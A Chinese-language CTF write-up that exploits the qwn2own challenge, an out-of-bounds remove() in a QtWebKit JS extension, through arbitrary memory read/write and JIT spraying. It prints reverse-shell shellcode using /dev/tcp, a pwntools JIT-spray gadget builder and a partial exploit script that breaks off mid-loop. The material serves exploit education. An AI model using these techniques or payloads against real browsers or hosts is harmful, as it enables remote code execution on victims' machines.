Exploit JS Engine & JIT ROP.

Environment

Ubuntu 15.10

$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 15.10
Release:	15.10
Codename:	wily

Qt 5.4.2

$ qmake -v
QMake version 3.0
Using Qt version 5.4.2 in /usr/lib/x86_64-linux-gnu

Pre-Knowledge

JavaScript

JavaScript (JS) 是一种高级的、解释型的编程语言。它支持面向对象程序设计,指令式编程,以及函数式编程。JavaScript 与 Java 在名字或语法上都有很多相似性;在语法结构上它又与 C 语言有近 87% 的部分相似(例如 if 条件语句、switch 语句、while 循环、do-while 循环等)。JS 的一些特性:

  • 变量不需要声明,是一种能指向不同类型 (string, int, double, function) 的 Reference;
  • 没有长整型 (long long),超过 int (32 bit) 范围自动变成 double (64 bit);
  • 字符串 (String) 是不可变的;
  • Garbage Collection 机制
    • 一种自动的存储器管理机制。当某个程序占用的一部分内存空间不再被这个程序访问时,这个程序会借助垃圾回收算法向操作系统归还这部分内存空间

JS Engine

JavaScript 引擎 (JS Engine) 是一个专门处理 JavaScript 脚本的虚拟机,一般会附带在网页浏览器之中。

  • JS Engine 用于解析 JavaScript,不同的浏览器有各自的 Engine;
  • 有些地方看着像异步操作,但实际上都是单线程执行;
  • 通过 JIT (Just-In-Time Compilation) 将 JavaScript 编译成 x86,大幅提高了运行速度。

利用 JS Engine 的漏洞

如果在远程运行的 JS Engine 有漏洞,可以利用漏洞来 RCE。利用过程中的一些要点:

  • 扫描内存空间,寻找可用的 Gadget 或 Symbol;
  • 先使用 PoC 检查是否存在漏洞,避免程序 Crash 后被使用者发现;
  • 对于不同编译版本的程序来说,可以不需要精确的 Offset;
  • 可以直接利用 JIT ROP 的技巧,而不需要已知的 Gadget。

可能会遇到的问题:

  • 浏览器是多线程的,每个线程中都会操作 Heap,使得 Heap Layout 难以精确控制;
  • Garbage Collection 发生时机不确定,可能会改变 Heap;
  • 整个利用在远程完成,利用过程中没有办法和本地 I/O(拿权限只能反弹 Shell)。

漏洞利用步骤:

  1. 任意(相对)地址读
    • 扫描内存,获取到自身地址后可以读取任意绝对地址
  2. 找出 JITed Code 的地址
  3. 找出 Function Object 的地址
    • 在 libc 中找到 system()
    • 直接使用 JIT Code Poisoning
    • 如果 Code Page 只读,可以使用 JIT Spraying

Bosten Key Party 2016 - qwn2own

以一道 2016 年的 CTF 赛题为例,学习一下 JS Exploit 以及相关的 JIT Spraying 技巧。题目主要是一个 C++ 做成的 JS Extension 跑在 WebKit 浏览器上。

Information

$ tree .
.
├── Documentation.md
├── example.html
├── qwn2own
├── src
│   ├── bkpdb.cpp
│   ├── bkpdb.h
│   ├── main.cpp
│   ├── mainwindow.cpp
│   ├── mainwindow.h
│   └── qwn2own.pro
└── WTF

1 directory, 10 files

题目中,Documentation.md 主要是 Extension 的相关函数使用说明,在 example.html 中有使用范例;qwn2own 是浏览器的二进制文件;src/ 文件夹中时 Extension 的相关源代码;WTF 其实就是题目的一个 README。

这个 Extension 叫做 BKPDataBase,其中可以进行数据 (Vectors) 或映射 (Maps) 的创建和管理。其中,BKPStore 是利用 QtWebKit 接口做的 BKPDataBase Extension 里的一种存储形式 (bkpdb.h):

class BKPStore : public QObject {
    Q_OBJECT
public:
    BKPStore(QObject * parent = 0, const QString &name = 0, quint8 tp = 0, QVariant var = 0, qulonglong store_ping = 0);
        void StoreData(QVariant v);

        Q_INVOKABLE QVariant getall();
        Q_INVOKABLE QVariant get(int idx);
        Q_INVOKABLE int insert(unsigned int idx, QVariant var);
        Q_INVOKABLE int append(QVariant var);
        Q_INVOKABLE void remove(int idx);
        Q_INVOKABLE void cut(int beg, int end);
        Q_INVOKABLE int size();

private:
    quint8 type; // specifies which type to of vector
                 // to use
    QVector<QVariant> varvect;
    QVector<qulonglong> intvect;
    QVector<QString> strvect;
    qulonglong store_ping; // used for memory scanning
};

Vulnerability

而在 bkpdb.cpp 中,实现了 BKPStore 相关的各类函数。漏洞点BKPStore::remove() 中,没有检查传入的下标 idx,可以触发一个越界的操作:

void BKPStore::remove(int idx) {
    if(this->type == 0) {
        this->varvect.erase(this->varvect.begin() + idx);
    } else if(this->type == 1) {
        this->intvect.erase(this->intvect.begin() + idx);
    } else if(this->type == 2) {
        this->strvect.erase(this->strvect.begin() + idx);
    } else {
        // this doesn't happen ever
        BKPException ex;
        throw ex;
    }
}

因此我们可以往 remove() 函数中传入任意值。由于 remove() 函数中调用了 QVector 的内置方法 erase(),再具体看看源代码中的实现。在 QT 源码中,erase(iterator pos); 方法主要是将当前位置往后的所有 QVector 元素都往前挪 1 个位置,最后再将 QVector 长度减去 1 (qtbase/src/corelib/tools/qvector.h):

iterator erase(iterator begin, iterator end);
inline iterator erase(iterator pos) { return erase(pos, pos+1); }

typename QVector<T>::iterator QVector<T>::erase(iterator abegin, iterator aend)
{
    Q_ASSERT_X(isValidIterator(abegin), "QVector::erase", "The specified iterator argument 'abegin' is invalid");
    Q_ASSERT_X(isValidIterator(aend), "QVector::erase", "The specified iterator argument 'aend' is invalid");

    const int itemsToErase = aend - abegin; // items to erase count

    if (!itemsToErase)
        return abegin;

    Q_ASSERT(abegin >= d->begin());
    Q_ASSERT(aend <= d->end());
    Q_ASSERT(abegin <= aend);

    const int itemsUntouched = abegin - d->begin();

    if (d->alloc) {
        detach();
        abegin = d->begin() + itemsUntouched;
        aend = abegin + itemsToErase;
        if (QTypeInfo<T>::isStatic) {
            iterator moveBegin = abegin + itemsToErase;
            iterator moveEnd = d->end();
            while (moveBegin != moveEnd) {
                if (QTypeInfo<T>::isComplex)
                    static_cast<T *>(abegin)->~T();
                new (abegin++) T(*moveBegin++);
            }
            if (abegin < d->end()) {
                // destroy rest of instances
                destruct(abegin, d->end());
            }
        } else {
            destruct(abegin, aend);
            memmove(abegin, aend, (d->size - itemsToErase - itemsUntouched) * sizeof(T)); // move element
        }
        d->size -= itemsToErase;
    }
    return d->begin() + itemsUntouched;
}

如果调用 remove(-1),就会将 QVector 地址前面部分的值被 QVector.value(0) 所覆盖。接下来再看看 QVector 数据结构,是一个 QTypedArrayData<T> 的指针:

template <typename T>
class QVector
{
    typedef QTypedArrayData<T> Data;
    Data *d;
...
};

QArrayDataQTypedArrayData 这两个类是配套的,后者是以前者为基础的类模板,以方便对不同类型的数组提供抽象管理。可以借助 QArrayData 的结构体来理解 QVector 中指针所指向的数据结构。其中,偏移为 4 字节处的值为 QVectorsize;偏移为 12 字节处的值为 QVector 数据位置 offset;真正的 QVector 数据在 24 字节偏移处:

struct Q_CORE_EXPORT QArrayData {
    QtPrivate::RefCount ref; // 4 byte
    int size; // 4 byte
    uint alloc : 31; // 31 bit
    uint capacityReserved : 1; // 1 bit
    /* 对齐为 16 byte */

    qptrdiff offset; // in bytes from beginning of header // 8 byte
    /* 以上共 20 byte,由于需要对齐,最终 data 前的 header 部分有 24 byte */

    void *data() {
        return reinterpret_cast<char *>(this) + offset;
    }
}

故如果调用 remove(-1),将会把 Vector.value(0) 的值覆盖到 QVector 的 Header 部分,将会修改到 sizeoffset 等关键结构体成员。

Analysis

对漏洞的利用过程分为 Exploit C++ 和 Exploit JIT 两个步骤。Exploit C++ 的过程中需要想办法进行任意地址的读写;Exploit JIT 的过程中需要找到 JIT Function 的地址,并进一步运行 Shellcode 或利用 JIT Spraying。

扫描内存信息

首先通过以下 PoC 可以对漏洞点进行测试:

<meta http-equiv="Cache-Control" content="no-cache" />
<head id="special">
  <title>qwn2own poc</title>
</head>
<script type="text/javascript">
  var db = BKPDataBase.create("name", "password");
  var A = db.createStore("A", 1, [0, 1, 2, 3, 4, 5, 6], 0xabcd1);
  A.remove(-1); // trigger vulnerability

  for (var i = 0; i < 7; ++i) {
    document.write(i + ": " + A.get(i).toString(16) + "<br>");
  }
</script>

经过上面的漏洞触发,将 QVector.value(0) 的值正好覆盖到 offset,使得可以获取到相应 size 大小的 QVector 结构体数据,超过 size 大小的值都会获取到 0。为了获取更多的信息,需要扩大 size 的值。

Offset = 0 时,insert(0, 0xfffff00000001) 使得 size = 0xfffff, ref = 1insert 会对当前位置数据进行替换)。而 Double 的精度限制为 6 字节左右,没有办法将 size 设置为最大值(而 64 位下地址只有 48 位,影响不大)

获取 QVector 绝对地址

在可以扫描大范围的内存后,利用 BKPStore->store_ping 来放置特殊的随机字符串,来定位 BKPDataBase 结构体的绝对地址:

  1. 在内存中放上带有特定值的 BKPStore
    • 扫描 BKPStore->store_ping 可以用来确认地址
    • 一般情况需要对比结构体各个成员是否符合
  2. 扫描内存找出 intvect 指向的 QVector
    • 先在 QVector 里放入特定的值
    • intvect 减去扫描的 index 就是自己的地址
      • QVector's address = intvect + 24 - index * 8

这样的利用方法可能存在一定的 随机性

  • 由于 Garbage Collection 和 Free 的关系,两个结构体的顺序可能相反
  • 扫描 Heap 时要避免超出范围,不然会 Crash
    • 按照 Heap Chunk 的结构来扫描,遇到 Chunk Size 过大时停止(可能是 Top Chunk)
    • 只扫描一个小范围,因为两个结构体通常不会离的特别远
  • 失败时重新再来,或者刷新页面
    • location.reload()
    • 有时候 reload 不好,重新跑比较有机会打乱 Heap

任意地址读写

在获取得到指定 QVector 的地址后,可以分别实现任意地址读写:

任意地址读

  • A 在 B 之前,利用 A.insert() 来改变 B 的 Offset
  • 有时候 B 的地址会跑掉,可以用 B.get() 来检查
function read(addr) {
  var offset = addr - B_vec;
  A.insert(A2B_off_idx, offset);
  var x = B.get(0);
  A.insert(A2B_off_idx, 0);
  return x;
}

任意地址写

  • B.get() 改成 B.insert(),就可以在 Offset 处写入 8 字节
    • 精度不能超过 Double 的限制
function write(addr, v) {
  var offset = addr - B_vec;
  A.insert(A2B_off_idx, offset);
  B.insert(0, v);
  A.insert(A2B_off_idx, 0);
}

定位 JIT Code

在 QtWebKit 中,JS Function 会被 JIT 编译起来(以 Function 为单位),而根据 Function Object 可以找到相应的 JITed Function Body。其中,Function Object 会在 JS Heap(对齐单位是 64k)上,与 BKPStore 使用的 libc Heap 是分开的(在不同线程中)。

$ cat /proc/`pidof qwn2own`/maps | grep heap
5589aa764000-5589aac2a000 rw-p 00000000 00:00 0                          [heap]
$ cat /proc/`pidof qwn2own`/maps | grep rwxp # 本题中 JS Heap 的堆是可执行的
7f4a9bfff000-7f4a9c000000 rwxp 00000000 00:00 0

WebKit 的 Heap 结构基于 TCMalloc (Thread-Caching Malloc),与 libc 的 PTMalloc (PThread Malloc) 有所不同。TCMalloc 分配的 Chunk 有以下特点:

  • Chunk 大小共有 kNumClasses 种。其中 WebKit 共有 68 种不同大小的 Chunk;
  • 小于 8 * PAGE_SIZE 的为 Small Chunks,从 ThreadCache 中分配;
    • 如果 ThreadCache 不够用,会从 CentralCache 中分配并放进 ThreadCache
  • 大于 8 * PAGE_SIZE 的为 Large Chunks,从由 CentralCache 维护的 PageHeap 中分配;
    • 如果不够分配,使用 sbrkmmap/dev/mem 等方式从系统中分配;

TCMalloc 中的 Chunk 结构:

TODO


接下来,就能根据 WebKit 中 Heap 的特点来扫描内存,定位 JS Heap:

/* 从 libc heap (B_vec) 开始寻找 */
for (var jimbo = B_vec; funcptr == null; jimbo -= 8) {
  // check chunk is valid
  chunksz = read(jimbo); // chunk size
  if (chunksz < 0x20 || (chunksz & 0xf1) != chunksz) continue;
  chunksz -= chunksz & 1;
  nextsz = read(jimbo + chunksz); // next chunk size
  if (nextsz < 0x20 || (nextsz & 0xfff1) != nextsz || (nextsz & 1) != 1) continue;

  // page aligned addresses?
  heapaddr = read(jimbo + 10 * 8);
  if (heapaddr <= B_vec || (heapaddr & 0xfff) != 0) continue;
  if (heapaddr != read(jimbo + 11 * 8)) continue;

  /* matches JS heap caracs? */
  nbregions = read(jimbo + 2 * 8);
  regsz = read(jimbo + 4 * 8);
  heapsz = read(jimbo + 12 * 8);
  if (nbregions != 2 || (heapsz & 0xfff) != 0 || (regsz & 0xfff) != 0 || heapsz == 0 || nbregions * regsz != heapsz) continue;

  ...
}

接下来通过构造大量带有特定 Pattern 的数组来识别目标 JIT Function Object。在确定 Chunk 地址后,对相应的 Pattern 来识别并获取 JIT Functioin Object:

function func_jit(x, y, z) {
  ...
}

var A = "AAAAAAA";
var T = new Array(10000);
for (var i = 0; i < 10000; i++) {
  var Td = new Array(50);
  for (var j = 0; j < 47; j += 3) {
    Td[j] = A; // str
    Td[j + 1] = A; // str
    Td[j + 2] = func_jit; // jit function
  }
  T[i] = Td;
}

for (...) {
  ...

  /* start scanning from heapaddr .. */
  for (var i = 0; i < 100; i++) {
    var b = heapaddr + i * 8;
    var check = 1;
    /* check sequence */
    for (var j = 0; j < 20; j++) {
      if (read(b + j * 8) != read(b + j * 8 + 24)) {
        check = 0;
        break;
      }
    }
    if (check && read(b) == read(b + 8) && read(b) != read(b + 16)) {
      strptr = read(b); // str
      funcptr = read(b + 16); // jit function
      break;
    }
  }
  break;
}

由于指向 JIT Code 的指针位于 *(funcptr + 24) + 32,通过覆盖这个指针可以造成呼叫这个函数时跳转到别处:

TODO


执行 Shellcode

由于题目的 JIT Page 是 RWX,可以直接把 Shellcode 复制到 Function Object 指针指向的代码段。然后再呼叫这个 Function,就会执行 Shellcode。Shellcode:

.globl _start
_start:
  push 0
  lea rdx, [rsp]
  lea rax, [rip + cmd]
  push rax
  lea rax, [rip + argC]
  push rax
  lea rax, [rip + sh]
  push rax
  lea rsi, [rsp]
  mov rdi, [rsp]
  mov rax, 59
  syscall

sh:
  .asciz "/bin/sh"
argC:
  .asciz "-c"
cmd:
  .asciz "bash -c 'bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'"

反弹 Shell:nc -vlp 8080 PS:若要弹计算器,修改命令行为 bash -c 'DISPLAY=:0 gnome-calculator'

JIT Spraying

当无法直接执行 Shellcode 时(即题目中 JS Heap 段不可执行),就可以使用 JIT Spraying 来达到我们的目的。JIT Spraying 能够通过 JIT Compilation 来避开 ASLR 和 DEP 的保护。JIT Spraying 的目标是构造可执行代码段,现构造以下的 JIT Function:

function func_jit(x, y, z) {
  for (var i = 0; i < 1000000; i++) {
    // enough time to jit
    x = x ^ 0x12345678 ^ 0xabcdef12 ^ 0x22222222;
  }
  return x;
}

JIT 会将 Function 编译成如下的 x86 汇编:

$ gdb attach `pidof qwn2own`
...
(gdb) x/20i 0x7f4a9bfff760
...
   0x7f4a9bfff79a:	mov    eax,DWORD PTR [r13-0x40]
   0x7f4a9bfff79e:	xor    eax,0x12345678
   0x7f4a9bfff7a4:	xor    eax,0xabcdef12
   0x7f4a9bfff7aa:	xor    eax,0x22222222
   0x7f4a9bfff7b0:	mov    DWORD PTR [r13-0x40],eax
...

(断章取义)如果直接跳到 JIT 后从 Function 中间开始运行,就会使得执行的汇编语句不一样,以如下构造的异或语句为例:

#!/usr/bin/env python
from pwn import *

context.arch = 'amd64'

# z=z^0x00bbc031^0xbb0ab000^0xbb660000^0x00bb050f^0xe7ff4100;
code = '\x81\xf0\x31\xc0\xbb\x00\x81\xf0\x00\xb0\x0a\xbb\x81\xf0\x00\x00\x66\xbb\x81\xf0\x0f\x05\xbb\x00\x81\xf0\x00\x41\xff\xe7'
print disasm(code)
#   0:   81 f0 31 c0 bb 00       xor    eax, 0xbbc031
#   6:   81 f0 00 b0 0a bb       xor    eax, 0xbb0ab000
#   c:   81 f0 00 00 66 bb       xor    eax, 0xbb660000
#  12:   81 f0 0f 05 bb 00       xor    eax, 0xbb050f
#  18:   81 f0 00 41 ff e7       xor    eax, 0xe7ff4100

code = '\x31\xc0\xbb\x00\x81\xf0\x00\xb0\x0a\xbb\x81\xf0\x00\x00\x66\xbb\x81\xf0\x0f\x05\xbb\x00\x81\xf0\x00\x41\xff\xe7'
print disasm(code)
#   0:   31 c0                   xor    eax, eax
#   2:   bb 00 81 f0 00          mov    ebx, 0xf08100 ; padding
#   7:   b0 0a                   mov    al, 0xa
#   9:   bb 81 f0 00 00          mov    ebx, 0xf081 ; padding
#   e:   66 bb 81 f0             mov    bx, 0xf081 ; padding
#  12:   0f 05                   syscall
#  14:   bb 00 81 f0 00          mov    ebx, 0xf08100 ; padding
#  19:   41 ff e7                jmp    r15

JIT Spraying 的一些技巧:

  • 在不确定 JIT 后的指令从 Function 起算的 Offset 时,可以多填几个 nop 来确定位置;
  • 即使 JIT Page 有只读保护时,仍然可以用 JIT ROP;
  • JIT ROP 可以用 mprotect 解除 DEP 后,在直接跳回 Heap 上执行 Shellcode;
  • 以连续的 xor int32 的方式填充,一般来说不会被优化;
  • QtWebKit 里 xor eax 的 Opcode 是 81 f0,而不是优化过后的 35(具体要看 JS Engine);
  • 指令不可以对齐,不然之后就没办法错位执行,所以长度为 4 的指令通常不能用;
  • 可以用 mov ebx, 0xf081mov bx, 0xf081mov ebx, 0xf08100 等 Padding 来重新调整指令位置。

最后想办法跳转到 Shellcode 上执行:

  • Shellcode 可以直接放在 JS 的字符串中;
    • TODO *(strobj + 16) + 32 ? source code
    • QString 是 UTF-16,会比较麻烦
  • Shellcode 的地址可以当成参数传入 func_jit
    • 第一个参数在 [r13-0x40],第二个参数在 [r13-0x48]
    • 使用两个 32 位整型来组合出一个 64 位的地址
      • 直接传 Double 进来需要使用 SSE 指令,处理会很麻烦
  • 调用 mprotect 后,直接跳转到 Shellcode 上

jit.py 中构造了一系列满足上述条件的 Shellcode 来调用 mprotect 并执行 Shellcode:

#!/usr/bin/env python
from pwn import *

context.arch = 'amd64'

syscall = asm('''
  xor eax, eax
  mov ebx, 0xf08100
  mov al, 10
  mov ebx, 0xf081
  mov bx, 0xf081
  syscall
  mov ebx, 0xf08100
  jmp r15
''')

loaddi = asm('''
  mov rax, r13
  mov ebx, 0xf081
  mov ebx, 0xf08100
  sub rax, 0xf08140
  add rax, 0xf08100
  mov ebx, 0xf0810000
  mov edi, [rax]
  mov bx, 0xf081
  mov rax, r13
  mov ebx, 0xf081
  mov ebx, 0xf08100
  sub rax, 0xf08148
  add rax, 0xf08100
  mov ebx, 0xf0810000
  mov esi, [rax]
  mov bx, 0xf081
  mov cl, 32
  mov bx, 0xf081
  shl rdi, cl
  mov ebx, 0xf081
  mov bx, 0xf081
  add rdi, rsi
  mov ebx, 0xf081
  mov bx, 0xf081
  mov r15, rdi
  mov ebx, 0xf081
  mov bx, 0xf081
''')

maskdi = asm('''
  mov cl, 20
  mov ebx, 0xf08100
  shl esi, cl
  mov ebx, 0xf081
  mov ebx, 0xf08100
  shr esi, cl
  mov ebx, 0xf081
  mov bx, 0xf081
  sub rdi, rsi
  mov ebx, 0xf081
  mov bx, 0xf081
''')

setsidx = asm('''
  nop
  mov esi, 0xf0811000
  xor esi, 0xf0810000
  xor rdx, rdx
  mov ebx, 0xf081
  mov bx, 0xf081
  mov dl, 7
  mov bx, 0xf081
''')

# 1. load rdi
# 2. align rdi
# 3. set rsi & rdx
# 4. system call
sc = loaddi + maskdi + setsidx + syscall

print disasm('\x81\xf0' + sc)
print '========================='
print disasm(sc)
print '========================='
s = 'z = z'
for i in range(0, len(sc) - 3, 6):
  s += '^0x%08x' % u32(sc[i:i + 4])
s += ';'
print s

执行后得到相应的 JIT Function 表达式:

$ ./jit.py
   0:   81 f0 4c 89 e8 bb       xor    eax, 0xbbe8894c
   6:   81 f0 00 00 bb 00       xor    eax, 0xbb0000
   c:   81 f0 00 48 2d 40       xor    eax, 0x402d4800
  12:   81 f0 00 48 05 00       xor    eax, 0x54800
  18:   81 f0 00 bb 00 00       xor    eax, 0xbb00
  1e:   81 f0 8b 38 66 bb       xor    eax, 0xbb66388b
  24:   81 f0 4c 89 e8 bb       xor    eax, 0xbbe8894c
  2a:   81 f0 00 00 bb 00       xor    eax, 0xbb0000
  30:   81 f0 00 48 2d 48       xor    eax, 0x482d4800
  36:   81 f0 00 48 05 00       xor    eax, 0x54800
  3c:   81 f0 00 bb 00 00       xor    eax, 0xbb00
  42:   81 f0 8b 30 66 bb       xor    eax, 0xbb66308b
  48:   81 f0 b1 20 66 bb       xor    eax, 0xbb6620b1
  4e:   81 f0 48 d3 e7 bb       xor    eax, 0xbbe7d348
  54:   81 f0 00 00 66 bb       xor    eax, 0xbb660000
  5a:   81 f0 48 01 f7 bb       xor    eax, 0xbbf70148
  60:   81 f0 00 00 66 bb       xor    eax, 0xbb660000
  66:   81 f0 49 89 ff bb       xor    eax, 0xbbff8949
  6c:   81 f0 00 00 66 bb       xor    eax, 0xbb660000
  72:   81 f0 b1 14 bb 00       xor    eax, 0xbb14b1
  78:   81 f0 00 d3 e6 bb       xor    eax, 0xbbe6d300
  7e:   81 f0 00 00 bb 00       xor    eax, 0xbb0000
  84:   81 f0 00 d3 ee bb       xor    eax, 0xbbeed300
  8a:   81 f0 00 00 66 bb       xor    eax, 0xbb660000
  90:   81 f0 48 29 f7 bb       xor    eax, 0xbbf72948
  96:   81 f0 00 00 66 bb       xor    eax, 0xbb660000
  9c:   81 f0 90 be 00 10       xor    eax, 0x1000be90
  a2:   81 f0 81 f6 00 00       xor    eax, 0xf681
  a8:   81 f0 48 31 d2 bb       xor    eax, 0xbbd23148
  ae:   81 f0 00 00 66 bb       xor    eax, 0xbb660000
  b4:   81 f0 b2 07 66 bb       xor    eax, 0xbb6607b2
  ba:   81 f0 31 c0 bb 00       xor    eax, 0xbbc031
  c0:   81 f0 00 b0 0a bb       xor    eax, 0xbb0ab000
  c6:   81 f0 00 00 66 bb       xor    eax, 0xbb660000
  cc:   81 f0 0f 05 bb 00       xor    eax, 0xbb050f
  d2:   81 f0 00 41 ff e7       xor    eax, 0xe7ff4100
=========================
   0:   4c 89 e8                mov    rax, r13
   3:   bb 81 f0 00 00          mov    ebx, 0xf081
   8:   bb 00 81 f0 00          mov    ebx, 0xf08100
   d:   48 2d 40 81 f0 00       sub    rax, 0xf08140
  13:   48 05 00 81 f0 00       add    rax, 0xf08100
  19:   bb 00 00 81 f0          mov    ebx, 0xf0810000
  1e:   8b 38                   mov    edi, DWORD PTR [rax]
  20:   66 bb 81 f0             mov    bx, 0xf081
  24:   4c 89 e8                mov    rax, r13
  27:   bb 81 f0 00 00          mov    ebx, 0xf081
  2c:   bb 00 81 f0 00          mov    ebx, 0xf08100
  31:   48 2d 48 81 f0 00       sub    rax, 0xf08148
  37:   48 05 00 81 f0 00       add    rax, 0xf08100
  3d:   bb 00 00 81 f0          mov    ebx, 0xf0810000
  42:   8b 30                   mov    esi, DWORD PTR [rax]
  44:   66 bb 81 f0             mov    bx, 0xf081
  48:   b1 20                   mov    cl, 0x20
  4a:   66 bb 81 f0             mov    bx, 0xf081
  4e:   48 d3 e7                shl    rdi, cl
  51:   bb 81 f0 00 00          mov    ebx, 0xf081
  56:   66 bb 81 f0             mov    bx, 0xf081
  5a:   48 01 f7                add    rdi, rsi
  5d:   bb 81 f0 00 00          mov    ebx, 0xf081
  62:   66 bb 81 f0             mov    bx, 0xf081
  66:   49 89 ff                mov    r15, rdi
  69:   bb 81 f0 00 00          mov    ebx, 0xf081
  6e:   66 bb 81 f0             mov    bx, 0xf081
  72:   b1 14                   mov    cl, 0x14
  74:   bb 00 81 f0 00          mov    ebx, 0xf08100
  79:   d3 e6                   shl    esi, cl
  7b:   bb 81 f0 00 00          mov    ebx, 0xf081
  80:   bb 00 81 f0 00          mov    ebx, 0xf08100
  85:   d3 ee                   shr    esi, cl
  87:   bb 81 f0 00 00          mov    ebx, 0xf081
  8c:   66 bb 81 f0             mov    bx, 0xf081
  90:   48 29 f7                sub    rdi, rsi
  93:   bb 81 f0 00 00          mov    ebx, 0xf081
  98:   66 bb 81 f0             mov    bx, 0xf081
  9c:   90                      nop
  9d:   be 00 10 81 f0          mov    esi, 0xf0811000
  a2:   81 f6 00 00 81 f0       xor    esi, 0xf0810000
  a8:   48 31 d2                xor    rdx, rdx
  ab:   bb 81 f0 00 00          mov    ebx, 0xf081
  b0:   66 bb 81 f0             mov    bx, 0xf081
  b4:   b2 07                   mov    dl, 0x7
  b6:   66 bb 81 f0             mov    bx, 0xf081
  ba:   31 c0                   xor    eax, eax
  bc:   bb 00 81 f0 00          mov    ebx, 0xf08100
  c1:   b0 0a                   mov    al, 0xa
  c3:   bb 81 f0 00 00          mov    ebx, 0xf081
  c8:   66 bb 81 f0             mov    bx, 0xf081
  cc:   0f 05                   syscall
  ce:   bb 00 81 f0 00          mov    ebx, 0xf08100
  d3:   41 ff e7                jmp    r15
=========================
z = z^0xbbe8894c^0x00bb0000^0x402d4800^0x00054800^0x0000bb00^0xbb66388b^0xbbe8894c^0x00bb0000^0x482d4800^0x00054800^0x0000bb00^0xbb66308b^0xbb6620b1^0xbbe7d348^0xbb660000^0xbbf70148^0xbb660000^0xbbff8949^0xbb660000^0x00bb14b1^0xbbe6d300^0x00bb0000^0xbbeed300^0xbb660000^0xbbf72948^0xbb660000^0x1000be90^0x0000f681^0xbbd23148^0xbb660000^0xbb6607b2^0x00bbc031^0xbb0ab000^0xbb660000^0x00bb050f^0xe7ff4100;

经过调试,在相应的 JIT Function 偏移为 84 的代码处,即为上面构造的一系列 Shellcode。所以在相应的利用脚本中,需要把 JIT Function 的 Pointer 改为原始的地址加上 84:

$ gdb qwn2own
...
(gdb) x/30i 0x7f4a9bfff2c0
...
   0x7f4a9bfff30e:	mov    eax,DWORD PTR [r13-0x50]
   0x7f4a9bfff312:	xor    eax,0xbbe8894c
   0x7f4a9bfff318:	xor    eax,0xbb0000
   0x7f4a9bfff31e:	xor    eax,0x402d4800
   0x7f4a9bfff324:	xor    eax,0x54800
   0x7f4a9bfff32a:	xor    eax,0xbb00
   0x7f4a9bfff330:	xor    eax,0xbb66388b
   0x7f4a9bfff336:	xor    eax,0xbbe8894c
   0x7f4a9bfff33c:	xor    eax,0xbb0000
   0x7f4a9bfff342:	xor    eax,0x482d4800
   0x7f4a9bfff348:	xor    eax,0x54800
   0x7f4a9bfff34e:	xor    eax,0xbb00
   0x7f4a9bfff354:	xor    eax,0xbb66308b
   0x7f4a9bfff35a:	xor    eax,0xbb6620b1
(gdb) x/30i 0x7f4a9bfff2c0+84
   0x7f4a9bfff314:	mov    rax,r13
   0x7f4a9bfff317:	mov    ebx,0xf081
   0x7f4a9bfff31c:	mov    ebx,0xf08100
   0x7f4a9bfff321:	sub    rax,0xf08140
   0x7f4a9bfff327:	add    rax,0xf08100
   0x7f4a9bfff32d:	mov    ebx,0xf0810000
   0x7f4a9bfff332:	mov    edi,DWORD PTR [rax]
   0x7f4a9bfff334:	mov    bx,0xf081
   0x7f4a9bfff338:	mov    rax,r13
   0x7f4a9bfff33b:	mov    ebx,0xf081
   0x7f4a9bfff340:	mov    ebx,0xf08100
   0x7f4a9bfff345:	sub    rax,0xf08148
   0x7f4a9bfff34b:	add    rax,0xf08100
   0x7f4a9bfff351:	mov    ebx,0xf0810000
   0x7f4a9bfff356:	mov    esi,DWORD PTR [rax]
   0x7f4a9bfff358:	mov    bx,0xf081
   0x7f4a9bfff35c:	mov    cl,0x20
   0x7f4a9bfff35e:	mov    bx,0xf081
   0x7f4a9bfff362:	shl    rdi,cl
   0x7f4a9bfff365:	mov    ebx,0xf081
   0x7f4a9bfff36a:	mov    bx,0xf081
   0x7f4a9bfff36e:	add    rdi,rsi
   0x7f4a9bfff371:	mov    ebx,0xf081
   0x7f4a9bfff376:	mov    bx,0xf081
   0x7f4a9bfff37a:	mov    r15,rdi
...

然后可以通过调试对 JIT Function 进行验证。第一部分通过 rsi 和 rdi 存放地址的高低 32 位并组合计算出 Shellcode 字符串的地址:

由于需要将 Shellcode 字符串所处地址的内存页权限进行修改,需要获取其内存页地址,即通过位移操作将其低 12 位置 0:

最后将页地址作为参数传入 mprotect 系统调用,并执行内存页权限修改:

Exploit

可以大量塞满相同大小的 Chunk ,让 A 和 B 的相对顺序更高概率处于 A 前 B 后的情況

利用脚本:

var shellcode = "\x6a\x00\x48\x8d\x14\x24\x48\x8d\x05\x2d\x00\x00\x00\x50\x48\x8d\x05\x22\x00\x00\x00\x50\x48\x8d\x05\x12\x00\x00\x00\x50\x48\x8d\x34\x24\x48\x8b\x3c\x24\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x62\x61\x73\x68\x20\x2d\x63\x20\x27\x44\x49\x53\x50\x4c\x41\x59\x3d\x3a\x30\x20\x67\x6e\x6f\x6d\x65\x2d\x63\x61\x6c\x63\x75\x6c\x61\x74\x6f\x72\x27\x00";

function exploit() {
  function print(msg) {
    document.write(msg + "<br>");
  }

  function func_jit(x, y, z) {
    for (var i = 0; i < 1000000; i++) {
      // enough time to jit
      x = x ^ 0x12345678 ^ 0xabcdef12 ^ 0x22222222;
    }
    return x;
  }
  func_jit(0, 1, 2); // call for jit

  var A = "AAAAAAA";
  var T = new Array(10000);
  for (var i = 0; i < 10000; i++) {
    var Td = new Array(50);
    for (var j = 0; j < 47; j += 3) {
      Td[j] = A;
      Td[j + 1] = A;
      Td[j + 2] = func_jit;
    }
    T[i] = Td;
  }

  var db = BKPDataBase.create("name", "password");

  for (var tt = 1000; tt > 0; tt--) {
    var key1 = Math.floor(Math.random() * 1e12);
    var key2 = Math.floor(Math.random() * 1e12);
    var key3 = Math.floor(Math.random() * 1e12);

    var A = db.createStore("A", 1, [0, 1, 2], 0xabcd1);
    var B = db.createStore("B", 1, [0, 0xcccc, key3, 0xdddd], 0xabcd1);
    var C = db.createStore("C", 1, [0xaaaa, key2, 0xbbbb], key1);

    A.remove(-1);
    A.insert(0, 0xfffff00000001); // increase size
    B.remove(-1);
    B.insert(0, 0xfffff00000001);

    //print("key1 = " + key1.toString(16));
    //print("key2 = " + key2.toString(16));

    var A2B_off_idx = -1; // A to B offset index
    for (var i = 0; i < 1000; i++) {
      if (A.get(i) == 0xcccc && A.get(i + 1) == key3 && A.get(i + 2) == 0xdddd) {
